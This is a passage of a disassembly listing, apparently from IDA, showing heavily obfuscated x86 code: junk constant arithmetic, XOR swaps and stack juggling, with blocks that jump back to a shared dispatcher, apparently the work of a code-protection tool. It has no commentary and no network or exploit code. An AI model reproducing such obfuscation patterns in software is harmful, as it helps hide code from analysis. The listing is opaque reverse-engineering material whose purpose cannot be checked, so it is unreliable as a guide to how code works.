		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_590D54:				; CODE XREF: sub_58A891+6A8Ej
		pop	edx
		sub	al, ch
		pop	ecx
		sub	al, 3Bh
		jmp	loc_590992
; ---------------------------------------------------------------------------


loc_590D5F:				; CODE XREF: sub_58A891+4F5Ej
		not	eax
		sub	eax, 0CF770677h
		jmp	loc_594688
; ---------------------------------------------------------------------------


loc_590D6B:				; CODE XREF: sub_58A891+9F9Ej
		push	ecx
		jmp	loc_5994E6
; ---------------------------------------------------------------------------


loc_590D71:				; CODE XREF: sub_58A891+81FDj
					; sub_58A891+96F9j
		push	esi
		mov	esi, 2B0D1A10h
		sub	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+18h+var_18], esi
		jmp	loc_595F08
; ---------------------------------------------------------------------------


loc_590D85:				; CODE XREF: sub_58A891+94DDj
		pop	edi
		add	ebp, 0BF94B695h
		add	ecx, ebp
		push	[esp+14h+var_14]
		pop	ebp
		add	esp, 4
		add	edi, ecx
		jmp	loc_598A1E
; ---------------------------------------------------------------------------


loc_590D9F:				; CODE XREF: sub_58A891+935Aj
		push	edx
		mov	dh, ch
		mov	bl, dh
		pop	edx
		mov	ecx, [esp+10h+var_10]
		jmp	loc_5946F1
; ---------------------------------------------------------------------------


loc_590DAD:				; CODE XREF: sub_58A891+405Bj
		not	edx
		neg	edx
		push	eax
		push	edi
		mov	edi, 56BC059Dh
		jmp	loc_59A45F
; ---------------------------------------------------------------------------


loc_590DBD:				; CODE XREF: sub_58A891+CD7Dj
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		jmp	loc_592F47
; ---------------------------------------------------------------------------


loc_590DC8:				; CODE XREF: sub_58A891+975Cj
		mov	[esp+14h+var_14], eax
		xor	[esp+14h+var_14], ecx
		xor	ecx, [esp+14h+var_14]
		xor	[esp+14h+var_14], ecx
		not	ecx
		xor	[esp+14h+var_14], ecx
		xor	ecx, [esp+14h+var_14]
		xor	[esp+14h+var_14], ecx
		jmp	loc_58FBEC
; ---------------------------------------------------------------------------


loc_590DE4:				; CODE XREF: sub_58A891+EE20j
		push	[esp+14h+var_10]
		jmp	loc_594640
; ---------------------------------------------------------------------------


loc_590DED:				; CODE XREF: sub_58A891+D4CAj
		sub	ebx, ebp
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		sub	esi, ebx
		jmp	loc_593420
; ---------------------------------------------------------------------------


loc_590DFC:				; CODE XREF: sub_58A891+E036j
		add	edx, ecx
		pop	ecx
		add	edx, 1
		sub	edx, 65BA1B7h
		add	ecx, edx
		pop	edx
		jmp	loc_5938C0
; ---------------------------------------------------------------------------


loc_590E10:				; CODE XREF: sub_58A891+C982j
					; sub_58A891:loc_59B1F4j
		mov	ebx, 24h
		add	ebx, 624F311Bh
		push	edi
		mov	edi, 7E5721F1h
		add	ebx, 5DE124BBh
		add	ebx, edi
		sub	ebx, 5DE124BBh
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		add	ebx, edi
		sub	ebx, 7E5721F1h
		sub	ebx, 624F311Bh
		xor	eax, [ebx]
		pop	ebx
		push	edx
		mov	edx, 24h
		add	edx, edi
		xor	[edx], eax
		pop	edx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_595510
; ---------------------------------------------------------------------------


loc_590E5F:				; CODE XREF: sub_58A891+E993j
		sub	eax, 4
		push	eax
		push	[esp+0Ch+var_8]
		pop	eax
		pop	[esp+0Ch+var_C]
		pop	esp
		mov	[esp+4+var_4], eax
		mov	eax, esp
		jmp	loc_591C31
; ---------------------------------------------------------------------------


loc_590E76:				; CODE XREF: sub_58A891+8319j
		or	edi, edx
		pop	edx
		jmp	loc_596F99
; ---------------------------------------------------------------------------


loc_590E7E:				; CODE XREF: sub_58A891+6F7Ej
		push	6A82h
		jmp	loc_59123C
; ---------------------------------------------------------------------------


loc_590E88:				; CODE XREF: sub_58A891+10A7Dj
		add	esp, 4
		sub	eax, 338740E0h
		and	ecx, eax
		pop	eax
		shr	ecx, 6
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, esp
		jmp	loc_597382
; ---------------------------------------------------------------------------


loc_590EA6:				; CODE XREF: sub_58A891+8FE6j
		jge	loc_58EFDB
		sub	edx, 4FFF77FEh
		mov	eax, edx
		pop	edx
		jmp	loc_591D91
; ---------------------------------------------------------------------------
		pop	eax


loc_590EBB:				; CODE XREF: sub_58A891+DCF0j
		mov	ebx, [esp-8+arg_0]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_58F9E5
; ---------------------------------------------------------------------------


loc_590EC9:				; CODE XREF: sub_58A891+AF67j
		push	eax
		push	5C360556h
		pop	eax
		and	ecx, eax
		pop	eax
		push	edx
		jmp	loc_5978B8
; ---------------------------------------------------------------------------


loc_590ED9:				; CODE XREF: sub_58A891+CE1Cj
		and	ebp, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		add	ebp, 5BE86262h
		jmp	loc_58E5BB
; ---------------------------------------------------------------------------


loc_590EEF:				; CODE XREF: sub_58A891+1058Fj
		sub	eax, 54657F79h
		push	[esp-8+arg_0]
		pop	esi
		add	esp, 4
		or	eax, eax
		jnz	loc_592B29
		push	eax
		push	esi
		push	edx
		mov	edx, 43615393h
		shl	edx, 8
		add	edx, 0B725C6CCh
		mov	esi, edx
		jmp	loc_59A139
; ---------------------------------------------------------------------------


loc_590F1E:				; CODE XREF: sub_58A891+CC09j
		sub	esi, 0DE3D22h
		and	ecx, esi
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		shr	ecx, 7
		push	13CFh
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 135815ADh
		jmp	loc_591DFE
; ---------------------------------------------------------------------------


loc_590F59:				; CODE XREF: sub_58A891+8A2Bj
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], eax
		push	52E5h
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		jmp	loc_597353
; ---------------------------------------------------------------------------


loc_590F73:				; CODE XREF: sub_58A891+75F5j
		mov	edi, ebp
		jmp	loc_5904BA
; ---------------------------------------------------------------------------


loc_590F7A:				; CODE XREF: sub_58A891+AE52j
		mov	eax, esp
		add	eax, 4
		push	edi
		jmp	loc_595820
; ---------------------------------------------------------------------------


loc_590F87:				; DATA XREF: sub_58A891+3C07o
		mov	ax, word ptr [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_599719
; ---------------------------------------------------------------------------


loc_590F99:				; CODE XREF: sub_58A891+ACA2j
		add	al, bl
		pop	ebx
		push	[esp+8+var_8]
		pop	ebx
		push	4D92h
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		push	ecx
		push	eax
		mov	ah, 0F9h
		mov	ch, ah
		jmp	loc_58EA2B
; ---------------------------------------------------------------------------


loc_590FC5:				; CODE XREF: sub_58A891+7D7Bj
		mov	[esp+10h+var_10], ecx
		add	[esp+10h+var_10], 1
		pop	ecx
		sub	ecx, 0D3C6F0B3h
		jmp	loc_59B1EB
; ---------------------------------------------------------------------------


loc_590FD8:				; CODE XREF: sub_58A891+8A20j
		sub	ebx, 40272ADh
		or	ebx, 47B23A57h
		sub	ebx, 1BE249A4h
		push	ecx
		mov	ecx, 6C1D45C9h
		xor	ebx, ecx
		pop	ecx
		add	ebx, 8E38561Fh
		add	esi, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		add	eax, esi
		mov	esi, [esp+8+var_8]
		push	ebp
		jmp	loc_59BBDF
; ---------------------------------------------------------------------------


loc_59100F:				; CODE XREF: sub_58A891+96E6j
		mov	eax, 449F2A90h
		dec	eax
		or	eax, 395C3250h
		jmp	loc_59138B
; ---------------------------------------------------------------------------


loc_59101F:				; CODE XREF: sub_58A891+5CE8j
		pop	ebx
		jmp	loc_5968EC
; ---------------------------------------------------------------------------


loc_591025:				; CODE XREF: sub_58A891+9D61j
		mov	esp, [esp+38h+var_38]
		pop	[esp+38h+var_38]
		mov	esp, [esp+34h+var_34]
		mov	cx, word ptr [esp+34h+var_34]
		jmp	loc_594458
; ---------------------------------------------------------------------------


loc_591037:				; CODE XREF: sub_58A891+488Dj
		sub	esp, 2
		mov	word ptr [esp+30h+var_30], dx
		mov	dh, 2Fh
		sub	bl, 0A8h
		add	bl, dh
		add	bl, 0A8h
		pop	dx
		add	bl, al
		sub	esp, 4
		jmp	loc_598FF5
; ---------------------------------------------------------------------------


loc_591057:				; CODE XREF: sub_58A891+FF6Ej
		add	esi, edi
		push	ecx
		jmp	loc_58FB19
; ---------------------------------------------------------------------------


loc_59105F:				; CODE XREF: sub_58A891+DE42j
		xchg	ebp, ecx
		jmp	loc_58F944
; ---------------------------------------------------------------------------


loc_591066:				; CODE XREF: sub_58A891+5CBCj
		push	edi
		push	esp
		jmp	loc_59AAF2
; ---------------------------------------------------------------------------


loc_59106D:				; CODE XREF: sub_58A891+9E9Ej
		pop	ebp
		jmp	loc_597D1C
; ---------------------------------------------------------------------------


loc_591073:				; CODE XREF: sub_58A891+ADBEj
		pop	esp
		add	ebx, 4
		jmp	loc_590BB9
; ---------------------------------------------------------------------------


loc_59107F:				; CODE XREF: sub_58A891+E818j
		xor	ecx, 6C5B0F4Ah
		add	ebx, 5532ECDh
		sub	ebx, ecx
		jmp	loc_59A038
; ---------------------------------------------------------------------------


loc_591092:				; CODE XREF: sub_58A891+7F84j
		push	edi
		push	eax
		jmp	loc_599476
; ---------------------------------------------------------------------------


loc_591099:				; CODE XREF: sub_58A891+CF7Bj
		pop	edx
		add	ebx, 1B6019BCh
		mov	ebp, ebx
		mov	ebx, [esp+0]
		jmp	loc_59A860
; ---------------------------------------------------------------------------


loc_5910AA:				; CODE XREF: sub_58A891+51CDj
		jnz	loc_59A90E
		inc	eax
		jmp	loc_599D85
; ---------------------------------------------------------------------------
		xchg	ebp, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		shl	eax, cl
		pop	eax


loc_5910BF:				; CODE XREF: sub_58A891+D1E4j
		add	ebx, eax
		push	edi
		jmp	loc_5970F3
; ---------------------------------------------------------------------------


loc_5910C7:				; CODE XREF: sub_58A891+5AF8j
					; sub_58A891+A1C8j ...
		sub	edx, 1F24C8E4h
		push	ecx
		jmp	loc_591F68
; ---------------------------------------------------------------------------


loc_5910D3:				; CODE XREF: sub_58A891+A39Aj
		pop	ebp
		jmp	loc_59287C
; ---------------------------------------------------------------------------


loc_5910D9:				; CODE XREF: sub_58A891+41F3j
		pop	eax
		sub	edx, eax
		push	ebx
		jmp	loc_59BC32
; ---------------------------------------------------------------------------


loc_5910E2:				; CODE XREF: sub_58A891:loc_593DD5j
		neg	ebp
		jmp	loc_59A4F0
; ---------------------------------------------------------------------------


loc_5910E9:				; CODE XREF: sub_58A891+6196j
		jle	loc_5972B1
		jmp	loc_5970E7
; ---------------------------------------------------------------------------


loc_5910F4:				; CODE XREF: sub_58A891+796Dj
		add	edx, 4
		sub	esp, 4
		mov	[esp+44h+var_46+2], edi
		mov	edi, 45347FC6h
		jmp	loc_59B7A5
; ---------------------------------------------------------------------------


loc_59110D:				; CODE XREF: sub_58A891+E194j
		xchg	edi, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		jmp	loc_58E712
; ---------------------------------------------------------------------------


loc_591118:				; CODE XREF: sub_58A891+8F70j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59111D:				; CODE XREF: sub_58A891+BDBBj
		jg	loc_5944B4
		push	edi
		mov	edi, 0EC4CF95Ch
		add	ebp, edi
		pop	edi
		pop	ecx


loc_59112D:				; CODE XREF: sub_58A891+FBE2j
		sub	ebx, 33455B0Eh
		jmp	loc_599431
; ---------------------------------------------------------------------------


loc_591138:				; CODE XREF: sub_58A891+1044Ej
		mov	dh, 8Bh
		jmp	loc_591B18
; ---------------------------------------------------------------------------


loc_59113F:				; CODE XREF: sub_58A891+DE7Bj
		shl	byte ptr [esp+40h+var_40], cl
		pushf
		jmp	loc_59952D
; ---------------------------------------------------------------------------


loc_591148:				; CODE XREF: sub_58A891+10E88j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+44h+var_46+2]
		pop	esp
		jmp	loc_59B602
; ---------------------------------------------------------------------------


loc_59115B:				; CODE XREF: sub_58A891+EA8Dj
		push	eax
		mov	eax, 16BC009Ah
		sub	eax, 28A6519Dh
		shl	eax, 1
		jmp	loc_5950A5
; ---------------------------------------------------------------------------


loc_59116D:				; CODE XREF: sub_58A891+AA66j
		push	[esp+44h+var_46+2]
		jmp	loc_592CC3
; ---------------------------------------------------------------------------


loc_591175:				; CODE XREF: sub_58A891+FAA1j
		push	[esp+48h+var_46+2]
		mov	edx, [esp+4Ch+var_4E+2]
		push	7F2Bh
		mov	[esp+0], ebx
		jmp	loc_596A2D
; ---------------------------------------------------------------------------


loc_591189:				; CODE XREF: sub_58A891+EB9Bj
					; sub_58A891+EE30j
		mov	ebp, 4
		jmp	loc_5982C1
; ---------------------------------------------------------------------------


loc_591193:				; CODE XREF: sub_58A891+B22Dj
		pop	ebp
		jmp	loc_591DA7
; ---------------------------------------------------------------------------


loc_591199:				; CODE XREF: sub_58A891+C50Cj
		pop	edx
		jmp	loc_592CEB
; ---------------------------------------------------------------------------


loc_59119F:				; CODE XREF: sub_58A891+497Bj
		mov	eax, 0AEF4E58h
		mov	edx, 0F6D92219h
		jmp	loc_594301
; ---------------------------------------------------------------------------


loc_5911AE:				; DATA XREF: sub_58A891+3B97o
		mov	ax, fs:[edx]
		push	edi
		push	26D0h
		push	esp
		pop	[esp+14h+var_14]
		push	ecx
		mov	ecx, 4
		add	[esp+14h+var_10], ecx
		pop	ecx
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edi, 38AA0160h
		add	edi, esi
		sub	edi, 38AA0160h
		pop	esi
		push	ecx
		mov	ecx, 2
		add	edi, 1A245C63h
		jmp	loc_58FF48
; ---------------------------------------------------------------------------


loc_5911F6:				; CODE XREF: sub_58A891+BE68j
		mov	ah, dh
		pop	edx
		jmp	loc_58F0CD
; ---------------------------------------------------------------------------


loc_5911FE:				; CODE XREF: sub_58A891+D907j
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		jmp	loc_597ED8
; ---------------------------------------------------------------------------


loc_591209:				; CODE XREF: sub_58A891+FB61j
		inc	esi
		shl	esi, 5
		not	esi
		jmp	loc_58F384
; ---------------------------------------------------------------------------


loc_591214:				; CODE XREF: sub_58A891:loc_591BF4j
		xor	esi, 13AD57C4h
		add	edi, 27D742CFh
		add	edi, esi
		sub	edi, 27D742CFh
		pop	esi
		add	edi, 4B37F273h
		add	eax, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_592FED
; ---------------------------------------------------------------------------


loc_59123C:				; CODE XREF: sub_58A891+65F2j
		mov	[esp+4+var_4], edx
		jmp	loc_58ECD8
; ---------------------------------------------------------------------------


loc_591244:				; CODE XREF: sub_58A891+B7C6j
		add	ebp, 0C600A79h
		jmp	loc_59237D
; ---------------------------------------------------------------------------


loc_59124F:				; CODE XREF: sub_58A891+A100j
		add	ebp, edi
		pop	edi
		add	ebp, 2
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		jmp	loc_59357A
; ---------------------------------------------------------------------------


loc_591263:				; CODE XREF: sub_58A891+CAECj
		pop	edi
		sub	edx, 0ED328D5h
		add	edx, ebp
		jmp	loc_590C4A
; ---------------------------------------------------------------------------


loc_591271:				; CODE XREF: sub_58A891+440Dj
		sub	[esp+0], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59127B:				; CODE XREF: sub_58A891+D4DCj
		pop	eax
		jmp	loc_58E793
; ---------------------------------------------------------------------------


loc_591281:				; CODE XREF: sub_58A891+9230j
					; sub_58A891+ABB4j
		push	ebp
		mov	bp, 3B8Dh
		push	ax
		jmp	loc_594A03
; ---------------------------------------------------------------------------


loc_59128D:				; CODE XREF: sub_58A891:loc_591689j
		sub	esi, 0FC27F93Fh
		jmp	loc_59A8CC
; ---------------------------------------------------------------------------


loc_591298:				; CODE XREF: sub_58A891+A1D3j
					; sub_58A891+C018j
		neg	ecx
		jmp	loc_5944B4
; ---------------------------------------------------------------------------


loc_59129F:				; CODE XREF: sub_58A891+5D9Ej
					; sub_58A891+8415j
		push	eax
		jmp	loc_59495D
; ---------------------------------------------------------------------------


loc_5912A5:				; DATA XREF: sub_58A891+3ADBo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5912B4:				; CODE XREF: sub_58A891+8188j
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], eax
		push	ebx
		mov	bh, dl
		push	6173h
		mov	[esp+16h+var_18+2], ecx
		mov	ch, bh
		mov	al, ch
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		pop	ebx
		push	ebx
		mov	bl, al
		jmp	loc_59BAEA
; ---------------------------------------------------------------------------


loc_5912DB:				; CODE XREF: sub_58A891+FE22j
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5912E6:				; CODE XREF: sub_58A891+A3C8j
		pop	esp
		pop	[esp+0Ah+var_C+2]
		pop	esp
		push	5146h
		mov	[esp+6+var_8+2], ebp
		push	200h
		jmp	loc_590194
; ---------------------------------------------------------------------------


loc_5912FD:				; CODE XREF: sub_58A891+A3ABj
		sub	esp, 4
		jmp	loc_58E638
; ---------------------------------------------------------------------------


loc_591308:				; CODE XREF: sub_58A891+4088j
		push	edx
		push	6745h
		jmp	loc_599F1D
; ---------------------------------------------------------------------------


loc_591313:				; CODE XREF: sub_58A891+A684j
					; DATA XREF: sub_58A891+3A2Fo
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_59AB79
; ---------------------------------------------------------------------------


loc_59131C:				; CODE XREF: sub_58A891+8370j
		pop	ebx
		xor	ch, dh
		jmp	loc_590D54
; ---------------------------------------------------------------------------


loc_591324:				; CODE XREF: sub_58A891+CC95j
		sub	ah, 72h
		jmp	loc_59961C
; ---------------------------------------------------------------------------


loc_59132C:				; CODE XREF: sub_58A891+AA8Aj
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		sar	byte ptr [esp+4+var_4],	cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59133B:				; CODE XREF: sub_58A891+EFB3j
		mov	esi, ebx
		pop	ebx
		neg	esi
		or	esi, 46AA598Fh
		jmp	loc_591883
; ---------------------------------------------------------------------------


loc_59134B:				; CODE XREF: sub_58A891+5319j
		add	dh, ah
		pop	eax
		add	ch, 0D8h
		add	ch, 82h
		add	ch, dh
		sub	ch, 82h
		jmp	loc_59728F
; ---------------------------------------------------------------------------


loc_59135E:				; CODE XREF: sub_58A891+7E0Dj
		sub	edx, ebp
		pop	ebp
		and	edx, 1CE3772h
		and	edx, 4A3E7A36h
		xor	edx, 82004h
		add	ebp, edx
		jmp	loc_5979EB
; ---------------------------------------------------------------------------


loc_59137A:				; CODE XREF: sub_58A891+9665j
		pop	[esp+3Ch+var_3C]
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ecx
		jmp	loc_5914D0
; ---------------------------------------------------------------------------


loc_59138B:				; CODE XREF: sub_58A891+6789j
		push	edi
		mov	edi, 701615F7h
		jmp	loc_59A88C
; ---------------------------------------------------------------------------


loc_591396:				; CODE XREF: sub_58A891+10A40j
		push	esi
		jmp	loc_5954B0
; ---------------------------------------------------------------------------


loc_59139C:				; CODE XREF: sub_58A891+AB76j
		mov	ecx, edx
		jmp	loc_5941A4
; ---------------------------------------------------------------------------


loc_5913A3:				; CODE XREF: sub_58A891+DCA2j
		shr	edi, 6
		push	ebx
		mov	ebx, 510D73CBh
		push	ecx
		mov	ecx, 743304F2h
		jmp	loc_58F0C0
; ---------------------------------------------------------------------------


loc_5913B7:				; CODE XREF: sub_58A891+CE11j
		push	[esp+1Ch+var_18]
		mov	ebx, [esp+20h+var_20]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+24h+var_24]
		pop	esp
		pop	[esp+20h+var_20]
		jmp	loc_5907F6
; ---------------------------------------------------------------------------


loc_5913D9:				; CODE XREF: sub_58A891+4064j
		push	3C3Dh
		mov	[esp+0Ch+var_C], esi
		push	esp
		jmp	loc_59A885
; ---------------------------------------------------------------------------


loc_5913E7:				; CODE XREF: sub_58A891+42A1j
		mov	[esp+34h+var_34], ebp
		mov	ebp, 57AF0DABh
		jmp	loc_59701E
; ---------------------------------------------------------------------------


loc_5913F4:				; CODE XREF: sub_58A891+D179j
		add	ecx, 0C30137Fh
		jmp	loc_590393
; ---------------------------------------------------------------------------


loc_5913FF:				; CODE XREF: sub_58A891+55BDj
		neg	ecx
		jno	loc_58E680
		shr	ecx, 4
		jnp	loc_59A40E
		mov	bl, 0B9h
		push	ecx


loc_591414:				; CODE XREF: sub_58A891+613Dj
		inc	edi
		js	loc_595DEB
		sub	edi, 0E6AACFBEh
		push	edi
		mov	edi, 3477822h
		mov	eax, 59184B41h
		xor	eax, edi
		pop	edi
		jmp	loc_59744E
; ---------------------------------------------------------------------------


loc_591434:				; CODE XREF: sub_58A891+4C84j
		push	5820h
		mov	[esp+16h+var_18+2], esp
		add	[esp+16h+var_18+2], 4
		pop	[esp+16h+var_18+2]
		jmp	loc_59063B
; ---------------------------------------------------------------------------


loc_591448:				; CODE XREF: sub_58A891+EF37j
		mov	edi, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+16h+var_18+2]
		pop	esp
		mov	[esp+12h+var_14+2], eax
		push	ecx
		mov	ecx, 55530610h
		shr	ecx, 7
		xor	ecx, 7B437A2Dh
		add	ecx, 841623E3h
		push	ebx
		mov	ebx, ecx
		jmp	loc_596177
; ---------------------------------------------------------------------------


loc_59147D:				; CODE XREF: sub_58A891+9F0Fj
		pop	esp
		mov	eax, edi
		pop	edi
		sub	esp, 4
		jmp	loc_5966AF
; ---------------------------------------------------------------------------


loc_591489:				; CODE XREF: sub_58A891+8B50j
					; sub_58A891+C35Ej
		not	[esp+16h+var_18+2]
		mov	ebx, [esp+16h+var_18+2]
		jmp	loc_592E84
; ---------------------------------------------------------------------------


loc_591494:				; CODE XREF: sub_58A891+8A13j
		xor	[esp+16h+var_14+2], ecx
		mov	ecx, [esp+16h+var_18+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_59BA17
; ---------------------------------------------------------------------------


loc_5914B0:				; CODE XREF: sub_58A891+7F76j
		mov	esp, [esp+16h+var_18+2]
		or	eax, eax
		jz	loc_599776
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], edx
		jmp	loc_59AA3A
; ---------------------------------------------------------------------------


loc_5914C9:				; CODE XREF: sub_58A891+4226j
		pop	ecx
		push	esi
		jmp	loc_599AB0
; ---------------------------------------------------------------------------


loc_5914D0:				; CODE XREF: sub_58A891+6AF5j
		push	4
		pop	ecx
		add	[esp+3Ch+var_38], 16AD07A4h
		add	[esp+3Ch+var_38], ecx
		jmp	loc_599229
; ---------------------------------------------------------------------------


loc_5914E7:				; CODE XREF: sub_58A891+7293j
					; sub_58A891+100A1j
		sub	ebp, 0A1683737h
		mov	eax, ebp
		jmp	loc_59AA05
; ---------------------------------------------------------------------------


loc_5914F4:				; CODE XREF: sub_58A891+A3EBj
		push	ebx
		mov	ebx, 6CD23DFCh
		add	ebx, 6E112F7h
		jmp	loc_591D0F
; ---------------------------------------------------------------------------


loc_591505:				; CODE XREF: sub_58A891+995Dj
		pop	eax
		jmp	loc_5929FB
; ---------------------------------------------------------------------------


loc_59150B:				; CODE XREF: sub_58A891+D562j
		xor	eax, [esp+3Ch+var_3C]
		jmp	loc_59B26D
; ---------------------------------------------------------------------------


loc_591513:				; CODE XREF: sub_58A891+4885j
		add	bl, 20h
		sub	bl, dl
		sub	bl, 20h
		pop	edx
		mov	cl, bl
		jmp	loc_59A650
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		sub	esp, 4
		jmp	loc_5968C0
; ---------------------------------------------------------------------------


loc_59152E:				; CODE XREF: sub_58A891+C154j
		mov	esi, 1C383E87h
		mov	ebx, esi
		mov	esi, [esp+30h+var_30]
		add	esp, 4
		xor	ebx, 3A1D5A20h
		add	edi, ebx
		jmp	loc_58EF75
; ---------------------------------------------------------------------------


loc_591548:				; CODE XREF: sub_58A891+BF87j
		mov	[esp+2Ch+var_2C], ebx
		push	6C2A0433h
		pop	ebx
		shr	ebx, 6
		push	esi
		mov	esi, 1
		sub	ebx, 25C30EFBh
		sub	ebx, esi
		add	ebx, 25C30EFBh
		pop	esi
		jmp	loc_590B09
; ---------------------------------------------------------------------------


loc_59156E:				; CODE XREF: sub_58A891+8A4Cj
					; sub_58A891+1004Aj
		push	esp
		mov	ebp, [esp+30h+var_30]
		jmp	loc_59570C
; ---------------------------------------------------------------------------


loc_591577:				; CODE XREF: sub_58A891+6217j
		add	esi, 0F394A741h
		mov	edi, esi
		jmp	loc_598370
; ---------------------------------------------------------------------------


loc_591584:				; CODE XREF: sub_58A891+FC3Dj
		sub	esp, 4
		mov	[esp+18h+var_18], ecx
		mov	ecx, 34696334h
		jmp	loc_599BE8
; ---------------------------------------------------------------------------


loc_591597:				; CODE XREF: sub_58A891+DB7Ej
					; sub_58A891+F1E5j
		pop	edi
		sub	ebp, 7BC43DF6h
		add	ebp, ebx
		push	eax
		mov	eax, 78965079h
		dec	eax
		shl	eax, 4
		shr	eax, 3
		jmp	loc_59391B
; ---------------------------------------------------------------------------


loc_5915B2:				; CODE XREF: sub_58A891+99F4j
		pop	ax
		jmp	loc_596589
; ---------------------------------------------------------------------------


loc_5915B9:				; CODE XREF: sub_58A891+E379j
		add	ebp, 69055E2Eh
		pop	edx
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebp
		push	[esp+16h+var_14+2]
		mov	ebp, [esp+1Ah+var_1C+2]
		jmp	loc_5916DB
; ---------------------------------------------------------------------------


loc_5915D5:				; CODE XREF: sub_58A891+9C92j
		inc	al
		jns	loc_598D2D
		neg	al
		jz	loc_59711C
		and	al, 0B2h
		jmp	loc_5916FF
; ---------------------------------------------------------------------------


loc_5915EC:				; CODE XREF: sub_58A891+9968j
		not	ebx
		push	edx
		mov	edx, 0DE9FAB7Bh
		xor	ebx, edx
		mov	edx, [esp+1Eh+var_20+2]
		jmp	loc_596493
; ---------------------------------------------------------------------------


loc_5915FE:				; CODE XREF: sub_58A891+9158j
		add	ecx, 6838AE26h
		inc	ecx
		jle	loc_58E706
		dec	ecx
		jl	loc_58EA3F
		jmp	loc_5987B6
; ---------------------------------------------------------------------------


loc_591617:				; CODE XREF: sub_58A891+7568j
		push	esi
		jmp	loc_596CE0
; ---------------------------------------------------------------------------


loc_59161D:				; CODE XREF: sub_58A891+4243j
		push	esp
		pop	ebp
		push	6BCAh
		mov	[esp+40h+var_40], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], ebp
		xor	ebp, [esp+3Ch+var_3C]
		jmp	loc_597920
; ---------------------------------------------------------------------------


loc_591640:				; CODE XREF: sub_58A891+E012j
		mov	esi, esp
		push	7639h
		mov	[esp+40h+var_40], eax
		mov	eax, 0D85221Ah
		not	eax
		or	eax, 34191008h
		jno	loc_599E93
		sub	eax, 5EC818FDh
		jmp	loc_5973AB
; ---------------------------------------------------------------------------
		mov	ah, 66h
		pop	eax


loc_591669:				; CODE XREF: sub_58A891+7FE6j
		add	al, 0F2h
		add	al, bh
		push	bx
		mov	bl, 0F2h
		add	al, 0E8h
		sub	al, bl
		push	cx
		mov	cl, 0E8h
		jmp	loc_58F1EE
; ---------------------------------------------------------------------------


loc_59167E:				; CODE XREF: sub_58A891+3E70j
		add	edx, 4D547CEBh
		jmp	loc_598543
; ---------------------------------------------------------------------------


loc_591689:				; CODE XREF: sub_58A891+8E77j
		jmp	loc_59128D
; ---------------------------------------------------------------------------


loc_59168E:				; CODE XREF: sub_58A891+75BEj
		mov	[edi+eax*4+1], cl
		pop	ecx
		jmp	loc_5944C2
; ---------------------------------------------------------------------------


loc_591698:				; CODE XREF: sub_58A891+3E7Cj
		push	esi
		jmp	loc_59B388
; ---------------------------------------------------------------------------


loc_59169E:				; CODE XREF: sub_58A891+79A0j
		mov	edx, 7798721Dh
		jmp	loc_590C2C
; ---------------------------------------------------------------------------


loc_5916A8:				; CODE XREF: sub_58A891+A762j
		sub	eax, 2C810B7Fh
		jl	loc_593337
		jmp	loc_59B1B2
; ---------------------------------------------------------------------------
		add	eax, 2
		or	al, 37h
		mov	edi, edx


loc_5916C1:				; CODE XREF: sub_58A891+A27Ej
		push	edx
		mov	edx, 2A26131Eh
		sub	esi, edx
		mov	edx, [esp+5Ch+var_5C]
		add	esp, 4
		push	edi
		mov	edi, 59817567h
		xchg	eax, edi
		jmp	loc_59852D
